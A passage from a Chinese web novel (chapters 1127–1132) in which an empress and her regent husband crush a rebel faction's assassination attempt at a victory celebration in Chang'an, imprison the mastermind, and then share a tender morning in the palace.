根据日记里的记载,这个“无面”,是孔志谦最信任的心腹,也是“虚无党”内部,除了孔志谦之外,唯一一个,知道所有核心机密的人。 抓住他,就等于,彻底挖出了“虚无党”的根。 “他现在在哪里?” “他伪装成了一个西域来的珠宝商人,就住在朱雀大街上,最大的一家客栈里。那里,距离三天后举行庆典的承天门广场,只有不到一里地。”赵无-忌答道,“我们的人,已经将那家客栈,里三层外三层地,全都包围了。只要他敢露头,绝对插翅难飞!” “不,不要打草惊蛇。”林臻摆了摆手,“我们的目标,不是他一个人。而是要将他们,一网打尽。” 他转头,看向慕容嫣,眼中,带着一丝询问。 慕容嫣心领神会,她看着杜如晦,问道:“杜相,朝中的情况如何?” 杜如晦上前一步,躬身答道:“回陛下,自从您在江南,以雷霆手段,清算了那些叛逆世家之后,朝中,便再也听不到半点反对的声音了。那些平日里与江南世家有所勾结,或是心怀二意的官员,一个个都吓破了胆,纷纷上书请罪,或是托病在家,不敢上朝。” “老臣已经按照您的吩咐,将这些人,全都记录在案。只等庆典之后,便可将他们,一并处置!” “好。”慕容嫣点了点头。 江南世家被清算,朝中党羽被震慑,“虚无党”余孽入瓮。 所有的准备工作,都已经就绪。 现在,就只剩下,最后的一场大戏了。 “杜相,赵指挥使,”慕容嫣的声音,变得冰冷而肃杀,“传朕的旨意。三天后的凯旋庆典,照常举行!朕与亲王,将亲自登上承天门城楼,与万民同庆!” “同时,将那些在江南捕获的叛逆首犯,以及在京中抓捕的奸佞之臣,一并押赴承天门广场!朕要当着全天下人的面,宣判他们的罪行!朕要让他们,为自己的所作所为,付出最惨痛的代价!” “朕要让他们的血,来祭奠那些在北疆和江南,为国捐躯的英烈!” “朕要让他们的哀嚎,成为我大乾盛世,最华丽的,序曲!” “臣等,遵旨!” 杜如晦和赵无忌,齐声应诺,眼中,同时燃起了熊熊的火焰! 他们知道,一场决定大乾未来命运的、最后的决战,即将来临! 而他们,将有幸,亲眼见证,这对传奇帝后,如何用最铁血的手段,开创一个,前所未有的,辉煌盛世! 第1127章 三百六十响的礼炮轰鸣 三天的时间,一晃而过。 凯旋庆典,如期而至。 这一天,整个长安城,都陷入了一种近乎疯狂的喜悦之中。 天还未亮,从皇城承天门,到朱雀大街,再到城南的明德门,长达十余里的御道两侧,便早已被翘首以盼的百姓,围得水泄不通。 所有人都想亲眼看一看,他们那位如同神明一般的女帝,和那位战无不胜的摄政王,接受万民朝拜的盛景。 卯时三刻,当第一缕晨光,洒在承天门那巍峨的城楼之上时。 “咚——咚——咚——” 九声沉闷而悠长的钟鸣,从皇城深处传来,响彻了整个长安。 紧接着,是三百六十响的礼炮轰鸣! 在震耳欲聋的礼炮声中,承天门那厚重的、包裹着铜钉的巨大城门,缓缓地打开。 身穿金甲、手持长戟的御林军,迈着整齐划一的步伐,从城门内,鱼贯而出,在广场上,列成了一个威武雄壮的方阵。 紧接着,是身披银甲的骁骑营和虎贲卫。 这些在北疆战场上,令敌人闻风丧胆的铁血精锐,此刻,一个个昂首挺胸,浑身散发着如同实质般的、冰冷的杀气。 他们的出现,让整个广场的温度,都仿佛下降了好几度。 百姓们看着这些从尸山血海中走出来的真正军人,脸上的嬉笑和喧闹,渐渐消失,取而代代之的,是发自内心的、深深的敬畏。 就在这时,一阵高亢的、穿云裂石的凤鸣之声,突然从城楼之上传来! 所有人都下意识地,抬起了头。 只见在承天门那高达数十丈的城楼顶端,两道身影,正并肩而立,沐浴在金色的晨光之中,宛如神祇。 左边一人,身穿银色麒麟王袍,身姿挺拔,渊渟岳峙,正是大乾的摄-政王,林臻。 而右边那人,则更是让所有人,都看呆了。 那是一个美得让人窒息,又威严得让人不敢直视的女人。 她,就是大乾唯一的女皇帝,慕容嫣。 今日的她,为了这场震慑宵小、宣示皇权的庆典,穿上了她那身最隆重,也最华丽的,神凤降世裙。 并且,在外面,极其郑重地,罩上了那件与之配套的,百鸟朝凤黑金霞帔。 那件作为她唯一寝衣的神凤降世裙,此刻,在长安清晨明媚的阳光之下,极致玄黑的苏锦底料,仿佛比最深沉的夜空,还要纯粹。它吸收了所有的杂光,只为了将那用无数根真金线,和最顶级的金色棉绒,一针一线,手工绣出的、从裙摆一直贯穿到领口的擎天巨凤,衬托得淋漓尽致。 那只凤凰,在阳光的照耀下,迸发出了前所未有的、璀璨夺目的、几乎要刺瞎人眼的辉煌金芒! 每一根凤羽,都仿佛在燃烧! 每一片鳞甲,都仿佛在流淌着熔化的黄金! 那双凤目,更是炯炯有神,充满了洞悉一切、睥睨天下的无上威严! 她一步步,走到城楼的最前方,身后那长达五丈的墨金色苏锦拖尾,在汉白玉铺就的城楼地面上,拖曳而过。 那巨大的、凌乱的、磅礴的裙摆,就那样恣意地铺陈开来,仿佛一片由黑夜与黄金交织而成的、壮丽的云海。 随着她的走动,裙摆之下,那金线密织的“满地织金”内衬,若隐若现。 那片内衬,在阳光的折射下,不断地闪烁着炽热而辉煌的光芒,仿佛在向全世界宣告,这位女帝体内,所蕴含的,那足以焚尽一切魑魅魍魉的、无穷无尽的力量! 她站在那里,就仿佛是真正的神凤,降临到了人间! 尊贵、辉煌、美丽、强大! 所有美好的、充满力量的词汇,在这一刻,用在她的身上,都显得那么的苍白无力。 广场上,数十万的百姓,在短暂的、死一般的寂静之后,爆发出了一阵发自灵魂深处的、山呼海啸般的欢呼! “陛下万岁!万岁!万万岁!” “大乾万岁!万岁!万万岁!” 所有人都被眼前这一幕,给彻底征服了。 他们发自内心地,跪倒在地,向着城楼之上的那位绝代女帝,和她身边那位如同守护神一般的男人,献上了自己最崇高的敬意。 …… 而在那狂热的、欢呼的人群之中。 一个穿着西域商人服饰,脸上带着半张青铜面具的男人,正死死地,盯着城楼之上的那道身影。 正是“虚无党”的二号人物,无面。 他的身边,还簇拥着十几个同样经过伪装的、眼神疯狂的核心成员。 “好……好一个慕容嫣!好一个神凤降世!”无面的声音,沙哑而低沉,但那面具之下的双眼,却燃烧着熊熊的、嫉妒的火焰! 他原以为,孔先生死了,慕容嫣和林臻,就算不乱,也至少会焦头烂额。 可他万万没想到,这个女人,非但没有乱,反而借着这次机会,将整个江南的民心,都彻底收拢了过去! 现在,她又在长安,搞出这么大的阵仗! 她这是在向谁示威? 她这是在打谁的脸? 她这是在打他们“虚无党”的脸!是在打他们那已经死去的、伟大的孔先生的脸! 不可饶恕! 绝对不可饶-恕! “动手吧!”他身边一个同样带着面具的男人,声音急切地说道,“再不动手,就来不及了!等他们的庆典结束,我们就再也没有机会了!” “不,再等等。”无面摇了摇头,眼中,闪过一丝阴狠与狡诈。 他抬起头,看了一眼天上的太阳。 “等午时三刻。” “等太阳,升到最高的时候。” “等他们,最得意,最放松警惕的时候。” “我要让那最灿烂的阳光,和最绚烂的血光,一起,将这座虚伪的城市,彻底吞没!” “我要让那对狗男女,在最辉煌的时刻,坠入最黑暗的深渊!” 他的声音,充满了恶毒的、扭曲的快感。 而他不知道的是,就在他对面的酒楼之上,就在他头顶的屋檐之后,就在他身边的茫茫人海之中。 一双双冰冷的、不带任何感情的眼睛,早已将他们,牢牢地锁定。 一张由“夜枭”和京城十二卫,共同编织的、无形的死亡之网,已经悄然收紧。 只等着,他们这些愚蠢的飞蛾,自己扑上来。 第1128章 你们的末日,到了 时间,一分一秒地流逝。 承天门的城楼之上,庆典的仪式,正在有条不紊地进行。 慕容嫣端坐在早已备好的凤椅之上,接受着百官的朝贺,和万民的欢呼。 她的脸上,带着一丝恰到好处的、属于帝王的、雍容而温和的微笑。 但那双美丽的凤眸深处,却是一片冰冷的、不起波澜的平静。 她在等。 林臻站在她的身侧,如同一尊沉默的、无坚不摧的守护神。 他的手,始终按在腰间的剑柄之上。 他的目光,看似随意地,扫过下方那片黑压压的人群,实则,却如同最精密的雷达,将每一个可疑的角落,都尽收眼底。 他也在等。 他们在等那些藏在阴沟里的老鼠,自己从洞里爬出来。 午时三刻,终于到了。 太阳,升到了天空的正中央,将炽热的光芒,毫无保留地,洒向大地。 整个承天门广场,都被笼罩在一片金色的、辉煌的海洋之中。 也就在这一刻。 异变,陡生! “咻!咻!咻!咻!” 数十支闪着幽蓝色寒光的、淬了剧毒的弩箭,如同毒蛇的獠牙,从广场四周的人群中,从街道两旁的酒楼窗户里,从附近民宅的屋顶上,同时射出! 它们的目标,只有一个! ——城楼之上,那个身穿神凤降世裙的,绝代女帝! 这突如其来的一幕,让所有人都惊呆了! 百姓们的欢呼声,戛然而止! 取而代之的,是惊恐的尖叫! 然而,就在那些毒箭,即将射中慕容嫣的瞬间。 一道银色的身影,动了! 林臻的身影,快得就像是一道闪电! 他甚至没有拔剑! 只是身形一晃,便挡在了慕容嫣的身前! “铛!铛!铛!铛!” 一阵密集的、如同雨打芭蕉般的金属碰撞声响起! 那数十支足以洞穿铁甲的毒箭,在射中他身体的瞬间,竟然像是撞上了一堵无形的墙壁,纷纷被弹飞了出去! 竟是无一,能伤他分毫! “护驾!” 直到这时,城楼之上的御林军,才反应过来,发出了惊恐的嘶吼,举着盾牌,将慕容嫣和林臻,里三层外三层地,团团围住! “轰!轰!轰!” 与此同时,广场的人群之中,也接连发生了数起剧烈的爆炸! 那是“虚无党”的疯子们,投掷出的、威力巨大的霹雳弹! 爆炸的火光和浓烟,瞬间将人群炸开了好几个巨大的缺口! 残肢断臂,血肉横飞! 原本欢乐喜庆的广场,在这一瞬间,变成了人间地狱! 尖叫声、哭喊声、哀嚎声,响成了一片! 整个场面,瞬间失控! “哈哈哈!慕容嫣!林臻!你们的末日,到了!” 无面看着眼前这片混乱的景象,发出了癫狂的大笑! 他猛地撕下脸上的面具,露出一张因为疯狂而扭曲的脸! “所有同志!为先生报仇的时候到了!杀了那对狗男女!毁灭这个虚伪的世界!” 他高举着手中的弯刀,带着身边那几十名最核心的、最疯狂的“虚无党”成员,如同一群出笼的野兽,朝着承天门,发起了自杀式的冲锋! 他们要趁着混乱,冲上城楼,亲手,砍下那对狗男女的脑袋! 然而,他们才刚刚冲出几步。 一张早已为他们准备好的、死亡的大网,便已当头罩下! “放箭!” 一声冰冷的、不带任何感情的命令,从四面八方,同时响起! 只听“嗖嗖嗖”的破空之声,不绝于耳! 数以千计的、密集的箭雨,如同黑色的乌云,从那些看似普通的商铺里,从那些看似平静的民宅中,从那些早已被控制的制高点上,铺天盖地地,倾泻而下! 将无面和他那几十名冲锋的同党,瞬间,笼罩在了其中! “噗!噗!噗!噗!” 利箭入肉的声音,密集得让人头皮发麻! 那些刚刚还状若疯虎的“虚无党”成员,甚至连惨叫声,都来不及发出一声,便被射成了刺猬,一个个,惨死当场! 无面的瞳孔,猛地一缩! 他做梦也想不到,对方,竟然早有准备! 这是一个陷阱! 一个为他们量身定做的,死亡陷阱! 危急关头,他猛地将身边的一名同伴,拉过来,挡在了自己身前! 那名可怜的同伴,瞬间被射成了筛子! 而无面,则借着这短暂的喘息之机,身形暴起,如同猎豹一般,朝着城楼的方向,不退反进,疯狂地冲了过去! 他知道,他已经没有退路了! 今天,不是鱼死,就是网破! 城楼之上。 慕容嫣依旧端坐在凤椅之上。 她看着下方那如同炼狱般的景象,看着那些在爆炸和混乱中,哭喊奔逃的无辜百姓,那张绝美的脸上,没有半分的惊慌,只有一片冰冷的、彻骨的寒意。 爆炸掀起的巨大气浪,吹得她那身墨金色的神凤降世裙,和那长达五丈的、磅礴的拖尾,猎猎作响! 那只用金线绣成的、展翅欲飞的凤凰,在火光的映照下,仿佛也发出了一声愤怒的、穿透灵魂的无声嘶鸣! “赵无忌!”她的声音,不大,却清晰地,传入了每一个锦衣卫的耳中。 “臣在!” “将所有逆党,给朕,就地格杀!一个,不留!” “是!” 随着她一声令下! 那些原本伪装成普通百姓、商贩走卒的“夜枭”和京营精锐,瞬间,撕下了所有的伪装! 他们从人群中,从角落里,如同潮水般,涌了出来! 他们手中的兵器,在阳光下,闪烁着森然的寒光! “杀!” 震天的喊杀声,响彻了整个广场! 一场残酷的、血腥的巷战,瞬间爆发! “虚无党”的余孽们,虽然个个都是悍不畏死的疯子,但他们的人数,毕竟太少了。 在数倍于己的、装备精良、训练有素的京营精锐和“夜枭”死士的围剿之下,他们根本,不堪一击! 一个又一个的黑衣人,在惨叫声中,倒在了血泊里。 整个承天门广场,彻底变成了一个巨大的、血腥的屠宰场! 无面看着自己的同伴,一个接一个地倒下,目眦欲裂! 他知道,他完了! 孔先生的“净世计划”,也彻底完了! 但就算是死,他也要拉一个垫背的! 他发出一声野兽般的咆哮,将内力运至极限,速度再次暴涨,竟是硬生生地,顶着箭雨,冲到了承天门的城墙之下! 他脚尖在城墙上连点数下,身形如同壁虎游墙一般,飞速地,向着城楼之顶,攀爬而去! 他的目标,只有一个! 慕容嫣! “保护陛下!” 城楼上的御林军,见状大惊失色,纷纷举起长戟,朝着他刺了过去! 然而,无面的身手,远超他们的想象! 只见他在空中,一个不可思议的扭身,便避开了所有的攻击,然后,如同一只大鸟般,落在了城楼的边缘! 他离慕容嫣,只有不到十丈的距离! “慕容嫣!拿命来!”他嘶吼着,挥舞着手中的弯刀,朝着慕容嫣,疯狂地扑了过去! 第1129章 总有些东西你们无法理解 看着那个离自己越来越近的、浑身浴血、状若疯魔的男人,慕容嫣的脸上,依旧没有半分的惧色。 她甚至,连动都没有动一下。 只是静静地,坐在那张赤金凤椅之上,用一种看死人般的、冰冷的目光,看着他。 因为,她知道,她的身前,站着一个,足以抵挡这世间一切风雨的,男人。 “找死。” 林臻看着那个不知死活,竟敢冲向自己妻子的疯子,口中,轻轻地,吐出了两个字。 他的声音,很轻,很淡。 但那声音里所蕴含的、冰冷刺骨的杀意,却让整个城楼的温度,都仿佛下降了好几度。 就在无面的弯刀,即将触及慕容嫣衣角的瞬间。 林臻,动了。 没有人看清,他是如何动的。 众人只看到,一道银色的闪电,划破长空。 下一秒,林臻的身影,便如同鬼魅一般,出现在了无面的面前。 “铛!” 一声清脆的金铁交鸣之声响起! 林臻手中的长剑,精准地,格开了无面那势在必得的一刀! 一股无可匹敌的巨大力量,从剑身之上传来! 无面只觉得虎口一麻,手中的弯刀,差点脱手而出! 他心中大骇! 他知道林臻很强,但他没想到,林臻,竟然强到了这种地步! 仅仅一招,他便已经感觉到了,那如同天堑一般的,巨大的差距! “你……!” 他刚想说些什么。 林臻的第二剑,已经到了。 这一剑,平平无奇,没有任何花哨的招式。 只是简简单单的,一记直刺。 但就是这简简单单的一剑,却快到了极致!也狠到了极致! 仿佛将所有的杀意,都凝聚在了那小小的剑尖之上! 无面只觉得眼前一花,一股致命的危机感,瞬间笼罩了他的全身! 他想躲,却发现,自己根本躲不开! 林臻的剑,已经锁死了他所有的退路! 他只能眼睁睁地看着,那闪着寒光的剑尖,在自己的瞳孔中,不断地,放大…… “噗嗤!” 利刃入肉的声音,清晰地,传入了每一个人的耳中。 林臻的长剑,从无面的胸口,一穿而过! 鲜血,顺着剑身,汩汩地,流淌下来。 无面的身体,猛地一僵。 他低头,不敢相信地,看着自己胸口那个狰狞的血洞。 他眼中的疯狂和怨毒,渐渐散去,取而代之的,是无尽的恐惧和……不甘。 他到死,都想不明白。 为什么? 为什么他们那看似完美的“净世计划”,会败得如此之快,如此之彻底? 为什么眼前的这个男人,会强大到,如此令人绝望的地-步? “为……为什么……”他用尽最后一丝力气,从喉咙里,挤出了几个字。 “因为,”林臻缓缓地,拔出了自己的长剑,任由他的身体,软软地倒在地上,声音冰冷地说道,“在这个世界上,总有一些东西,是你们这些疯子,永远也无法理解,也永远无法战胜的。” “比如,希望。” “比如,守护。” 说完,他不再看地上那具渐渐冰冷的尸体一眼。 他转身,重新走回了慕容嫣的身边。 他伸出手,轻轻地,为她理了理被风吹乱的鬓发,声音,瞬间,又恢复了那独有的温柔。 “嫣儿,吓到你了吗?” 慕容嫣摇了摇头,她伸出手,紧紧地,握住了他那只还沾着敌人鲜血的手。 “没有。有夫君在,我什么都不怕。” 城楼之下,战斗,也已经进入了尾声。 “虚无党”的那些余孽,在失去了首领,又被重重包围之后,彻底失去了抵抗的意志。 他们有的,选择了疯狂地自爆,试图与周围的官兵,同归于尽。 有的,则选择了跪地投降,哭喊着求饶。 但等待他们的,只有“夜枭”们冰冷的屠刀。 对于这些已经泯灭了人性,一心只想毁灭世界的疯子,林臻和慕容嫣,没有半分的怜悯。 格杀勿论! 一个不留! 当最后一个黑衣人,在惨叫声中,被一戟穿心,钉死在地上时。 整个承天门广场,终于,恢复了死一般的寂静。 只有那浓得化不开的血腥味,和满地的残肢断臂,在无声地,诉说着刚才那场战斗的惨烈。 而就在这时。 一个让所有人都意想不到的身影,竟然从那尸山血海之中,摇摇晃晃地,站了起来! 是孔志谦! 他竟然,还没死! 此刻的他,形容狼狈到了极点。 他身上那件原本还算整洁的儒衫,早已被鲜血和泥土,染得看不出本来的颜色。 他的脸上,身上,布满了大大小小的伤口,其中最深的一道,几乎将他的左臂,齐肩斩断。 他的脸色,苍白得像一张纸,眼中,再也没有了之前的疯狂和怨毒,只剩下一种……彻彻底底的,死寂和绝望。 他输了。 输得,连底裤都-不剩了。 他所有的计划,所有的后手,所有的疯狂,在林臻和慕容嫣这对夫妻面前,都成了一个天大的笑话。 他看着城楼之上,那两道并肩而立、风华绝代的身影,突然,笑了。 笑得,比哭还难看。 “林臻……慕容嫣……” 他的声音,沙哑,干涩,像是两块破铁片在摩擦。 “我输了……” “我认输了……” 他扔掉了手中那柄早已卷了刃的长剑,张开双臂,就那么,静静地,站在那尸山血海之中。 “来吧,杀了我吧。” “给我一个,痛快。” 他已经,不想再活了。 对于他这种自负到了极点的人来说,这样耻辱的失败,比死亡,还要让他难以忍受。 然而,林臻只是冷冷地看着他,并没有动。 慕容嫣也只是用一种看垃圾般的、厌恶的眼神,看着他。 “杀了你?”林臻的嘴角,勾起了一抹残忍的弧度,“孔志"谦",你太天真了。” “你以为,死亡,是对你这种人,最终的惩罚吗?” “不。” “死亡,对你来说,是一种解脱。” “而我,偏偏,不想让你,这么轻易地,就得到解脱。” 他转头,看向身边的赵无忌,声音,冷得如同万年玄冰。 “传令下去!” “将逆贼孔志谦,给朕,押入天牢最深处!” “用最好的伤药,给他治伤!用最好的饭食,给他喂着!绝不能让他,轻易地死了!” “朕要让他,活着!” “朕要让他,亲眼看着!” “看着他最想毁灭的这个国家,如何在朕与陛下的手中,一步一步地,走向前所未有的,繁荣昌盛!” “朕要让他,在无尽的、永恒的绝望和悔恨之中,慢慢地,烂死在那个阴暗的角落里!” “这,才是对他这种人,最好的,惩罚!” 第1130章 比死亡更可怕 林臻的话,如同最恶毒的诅咒,一个字一个字地,敲在了孔志谦的心上。 活着? 让他亲眼看着,他最想毁灭的世界,变得越来越好? 让他亲眼看着,他最痛恨的那对男女,携手并肩,开创一个他连想都不敢想的辉煌盛世? 这…… 这比直接杀了他,比将他千刀万剐,还要残忍一万倍! “不……不!!” 孔志谦的眼中,终于,再次迸发出了疯狂的光芒! 他发出一声不似人声的凄厉嘶吼,竟是调转方向,朝着身旁一根断裂的长戟,猛地撞了过去! 他要自杀! 他宁可死,也绝不接受,如此屈辱的,惩罚! 然而,他才刚刚冲出一步。 一道黑色的身影,便如同鬼魅一般,出现在了他的面前。 是鬼影。 他只是简简单单地,一脚。 “咔嚓!” 一声清脆的骨裂声响起! 孔志谦的两条腿,被他干脆利落地,直接踹断! “啊——!” 孔志谦发出一声撕心裂肺的惨嚎,整个人,如同烂泥一般,瘫倒在地,剧烈的疼痛,让他浑身剧烈地抽搐起来。 “想死?”鬼影的脚,踩在他的脸上,用力地,碾了碾,声音冰冷地说道,“在我们王爷和陛下面前,你连死的资格,都没有。” 说完,他便像拖一条死狗一样,拖着孔志谦,消失在了人群之中。 承天门广场之上,终于,彻底地,恢复了平静。 只剩下那满地的鲜血和尸体,在无声地诉说着,刚才那场惊心动魄的战斗。 广场上的百姓们,在经历了最初的惊恐和混乱之后,此刻,一个个,都还处在一种巨大的、难以言喻的震撼之中。 他们亲眼看到了,那些传说中的、如同鬼魅般的“虚无党”逆贼。 他们也亲眼看到了,那些如同天神下凡一般的、骁勇善战的“夜枭”和京营精锐。 他们更亲眼看到了,他们的摄政王,是如何以一人之力,斩杀逆党首魁! 他们看到了,他们的女帝,是如何在箭雨和爆炸之中,面不改色,从容指挥,谈笑间,便将一场足以颠覆帝国的巨大叛乱,彻底平息! 震撼! 崇拜! 狂热! 所有人的心中,都只剩下了这几个词。 短暂的死寂之后。 不知是谁,第一个,再次跪倒在地,用尽全身的力气,高声喊道: “陛下万岁!王爷千岁!大乾万岁!” 紧接着,是第二个,第三个…… 最终,整个广场上,数十万的百姓,全都发自肺腑地,跪倒在地! 那山呼海啸般的呐喊声,直冲云霄,仿佛要将整个长安城的天空,都给掀翻! 慕容嫣站在城楼之上,看着下方那一张张因为激动而涨得通红的脸,听着那一声声发自肺腑的拥护和爱戴,心中,也是百感交集。 她知道,从这一刻起,她和林臻的威望,在大乾,已经达到了一个前所未有的顶峰。 再也没有任何人,任何势力,可以动摇他们的统治了。 她深吸一口气,抬起手,缓缓地,压下了那如同潮水般的声浪。 她的目光,扫过全场,声音,通过内力的加持,清晰地,传遍了每一个角落。 “众位大乾的子民们,请起!” “今日,让大家,受惊了。” “但朕,也希望大家,能够记住今天!” “记住那些,为了守护我们共同的家园,而流血牺牲的,英雄!” “记住那些,躲在阴暗的角落里,一心只想毁灭我们幸福生活的,国贼!” “朕,在这里,向大家保证!” “只要朕,和亲王,还在一日!便绝不会,让今日的惨剧,再次发生!” “朕,会用尽朕的一生,来守护这个国家!守护你们每一个人!” “朕要让我们的国家,成为这片大地上,最富强,最安宁,最让人骄傲的国度!” “朕要让我们的子民,每一个人,都能安居乐业,丰衣足食,脸上,永远都洋溢着,幸福的笑容!” 她的声音,充满了无穷的力量和感染力! 百姓们听着她的话,一个个,都激动得热泪盈眶! “陛下圣明!大乾万岁!” …… 夜,深了。 栖凤阁内,烛火通明,温暖如春。 慕容嫣只穿着那件作为唯一的神凤降世裙。 此刻,她正慵懒地,靠在林臻的怀里,享受着这暴风雨过后,难得的宁静。 极致玄黑的苏锦底料,在柔和的宫灯之下,呈现出一种天鹅绒般的、温暖的质感。 那只用真金线绣成的擎天巨凤,也收敛了所有的锋芒和杀气,在烛光的映照下,流淌着一种内敛而温润的辉光,仿佛一只正在打盹的、心满意足的巨鸟。 那长达五丈的苏锦拖尾,从凤榻之上,迤逦而下,将两人温柔地,包裹在其中,像一片宁静而华贵的、与世隔绝的,黑金色的云海。 林臻手里,拿着一块温热的毛巾,正小心翼翼地,为她擦拭着脸颊上,那一点点在白天的混乱中,不小心沾染上的灰尘。 他的动作,很轻,很柔,仿佛是在对待一件,全世界最珍贵的,瓷器。 “夫君,”慕容嫣突然开口,声音,带着一丝懒洋洋的鼻音,“你说,我们是不是,真的赢了?” “嗯,赢了。”林臻放下毛巾,低头,在她的唇上,轻轻地啄了一下,“彻彻底底地,赢了。” “漠北平了,江南定了,朝中的奸佞,也清扫干净了。从今天起,再也没有人,能阻挡我们了。” “真好。”慕容嫣在他的怀里,蹭了蹭,找了个更舒服的姿势,像一只满足的猫儿。 “是啊,真好。”林臻笑了笑,将她抱得更紧了些。 两人就这么静静地相拥着,谁也没有再说话。 窗外,月华如水,洒满庭院。 宫殿内,烛火摇曳,温暖安宁。 他们知道,从明天起,他们将要面对的,是无数繁琐的、关于国家重建和发展的政务。 他们将要开启的,是一个属于他们的,全新的,波澜壮阔的时代。 但至少,在今天,在这一刻。 他们可以暂时地,放下皇帝和亲王的身份。 就当一对,最普通的,劫后余生的,爱人。 享受着,这来之不易的,宁静与温存。 林臻低头,看着怀中,那张在烛光下,美得让他心醉的睡颜,心中,充满了无尽的爱怜和满足。 他轻轻地,在她的额头上,落下一个吻。 “嫣儿,睡吧。” “明天,又是一个,新的开始了。” 第1131章 没有安生日子 承天门广场上的血迹,在第二天清晨便被冲刷得干干净净,仿佛那场惊心动魄的厮杀,只是一场荒诞的噩梦。 但长安城里的每一个人都知道,那不是梦。 那些被悬挂在城门口示众的、属于“虚无党”逆贼的人头,和天牢里传出的、孔志谦那不似人声的日夜哀嚎,都在提醒着所有人,那对坐镇于皇宫深处的帝后夫妻,拥有着何等铁血的手段,和何等不容侵犯的威严。 然而,当清晨的第一缕阳光,透过栖凤阁的琉璃窗,照进寝殿时,这里却是一片与外界的肃杀截然不同的、慵懒而温暖的景象。 慕容嫣睡得很沉,也很安稳。 这是数月以来,她睡得最好的一觉。 没有了对前线战事的担忧,没有了对江南叛乱的焦虑,更没有了对那个让她魂牵梦萦的男人生死未卜的恐惧。 她的身心,在这一刻,得到了前所未有的放松。 她依旧只穿着那件作为唯一寝衣的神凤降世裙,此刻,她正像一只温顺的猫儿,侧身蜷缩在林臻的怀里。 那极致玄黑的苏锦底料,在清晨柔和的光线下,呈现出一种带着淡淡光泽的、如同上好墨玉般的质感。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,虽然裙幅巨大,但其柔软的特性,让它完美地贴合着她的身体曲线,丝毫感觉不到沉重。 那长达五丈的墨金色苏锦拖尾,一大半都堆叠在宽大的凤榻之上,另一小半则从榻边垂落,凌乱地铺陈在地面的长毛地毯上,形成一片充满了静态美感的、慵懒而华贵的褶皱。 林臻早就醒了。他没有动,甚至连呼吸都放得很轻,生怕惊扰了怀中人儿的好梦。 他就这么侧着身,单手支着头,一瞬不瞬地看着她。看着她那张因为安睡而显得格外恬静的绝美容颜,看着她那长长的、微微颤动的睫毛,看着她那因为呼吸而微微起伏的香肩。 他的心里,被一种巨大的、名为“幸福”的情绪,填得满满的。 这就是他的妻子,他的嫣儿。 是大乾最尊贵的女皇帝,也是他林臻,愿意用生命去守护的,唯一的珍宝。 他忍不住伸出手,用指腹,轻轻地描摹着她的眉眼。从那光洁的额头,到那挺翘的鼻尖,再到那粉润的、微微嘟起的红唇。 他的目光,温柔得能滴出水来。 似乎是感受到了他的骚扰,慕容嫣的睫毛,轻轻地颤了颤,然后,缓缓地睁开了眼睛。 那双美丽的凤眸,在刚刚醒来时,还带着一丝迷蒙的水汽,当她看清眼前这张放大的、英俊的脸时,那丝迷蒙,瞬间便化作了无尽的温柔和安心。 “夫君,你醒啦?”她的声音,带着刚睡醒时的慵懒和沙哑,软软糯糯的,听得林臻的心都快化了。 “早就醒了。”林臻低头,在她的唇上,轻轻地啄了一下,“看你睡得香,不忍心叫醒你。” “我睡了多久?”慕容嫣伸了个大大的懒腰,整个人都舒展开来,那美好的曲线,让林臻的眼神,瞬间变得幽深了几分。 “没多久,也就睡到了日上三竿而已。”林臻笑着调侃道。 “啊?都这么晚了?”慕容嫣一听,立刻便要从床上坐起来,“不行不行,我得起了。今天还有好多奏折要看,江南那边的善后事宜,还有……” 她的话还没说完,便被林臻一只强有力的手臂,重新按回了温暖的被窝里。 “看什么奏折?”林臻的脸,板了起来,语气里,带着一丝不容置疑的霸道,“我昨天怎么跟你说的?从今天起,你什么都不许管!天大的事情,有我,有杜相他们顶着!你的任务,只有一个,那就是,给我好好休息!” 他一个字一个字地说道,那副霸道总裁的样子,让慕容嫣又是好气,又是好笑。 “哪有你这样的……”她嘟囔了一句,声音里,却全是藏不住的甜蜜,“我是皇帝,哪能真的什么都不管……” “皇帝怎么了?皇帝就不是人了?皇帝就不需要休息了?”林臻瞪着她,“我告诉你,慕容嫣,从今天起,这个家,我说了算!我说让你休息,你就得给我休息!你要是再敢偷偷去看那些劳什子的奏折,别怪我……别怪我执行家法!” “家法?”慕容嫣闻言,凤眸中闪过一丝狡黠的笑意,“我倒想看看,我们大乾的摄政王,准备怎么对本宫,执行家法?” 她故意挺了挺胸,摆出一副“我是皇帝我怕谁”的架势。 林臻看着她那副娇俏又带着一丝挑衅的可爱模样,心中一荡,哪里还忍得住? 他一个翻身,便将她压在了身下,灼热的呼吸,喷洒在她的脸上。 “怎么执行家法?你说呢?”他的声音,因为情动,而变得有些沙哑,“要不,我们现在,就来试试?” “你……你这个无赖!”慕容嫣的脸,瞬间红得像熟透的苹果。 她这才意识到,自己好像玩脱了。 她想推开他,却发现自己的那点力气,在他那如同铁钳一般的怀抱面前,根本不值一提。 “现在知道我是无赖了?晚了!”林臻低笑一声,低头,便要吻下去。 就在这时。 “咳咳!”一声不合时宜的、苍老的咳嗽声,突然从殿外传来。 是杜如晦。 林臻的动作,猛地一僵。 慕容嫣则像是抓住了救命稻草一般,用力地,将他推开,然后,手忙脚乱地,用被子将自己裹得严严实实,只露出一张红得快要滴血的俏脸。 “杜……杜相,这么早,有……有什么事吗?”她的声音,结结巴巴的,窘迫到了极点。 林臻黑着一张脸,从床上坐了起来,心里,已经把杜如晦这个不识时务的老头,骂了一百遍。 早? 都日上三竿了,还早?! 早干嘛去了! 偏偏挑这个时候来! 他没好气地,对着殿外喊道:“杜相,有什么事,就在外面说吧!陛下她……龙体抱恙,不便见客!” 殿外的杜如晦,听着里面那明显带着一丝“起床气”的声音,也是一脸的尴尬。 他哪里知道,自己竟然撞破了帝后二人的好事? 他只是想着,今日是战后第一次正式的早朝,有很多重要的事情,需要向陛下和王爷当面汇报。 “老……老臣有罪!”杜如晦在殿外,噗通一声就跪了下去,“只是……只是今日,北疆的郑大元帅,和几位新晋的漠北部落首领,派来的使臣,已经到了长安。他们……他们是来向陛下和王爷,朝贡谢恩的。老臣……老臣不敢擅自做主,所以才……” 漠北的使臣? 林臻和慕容嫣对视了一眼,都从对方眼中,看到了一丝了然。 看来,这安生日子,是真的过不成了。 第1132章 没眼力见呢 林臻心里把杜如晦念叨了一百遍,但脸上还是恢复了摄政王该有的样子。 漠北的使臣到了,这确实是天大的事,是北伐大胜之后,必须要处理好的收尾工作。 这关系到大乾未来几十年北疆的安宁,耽误不得。 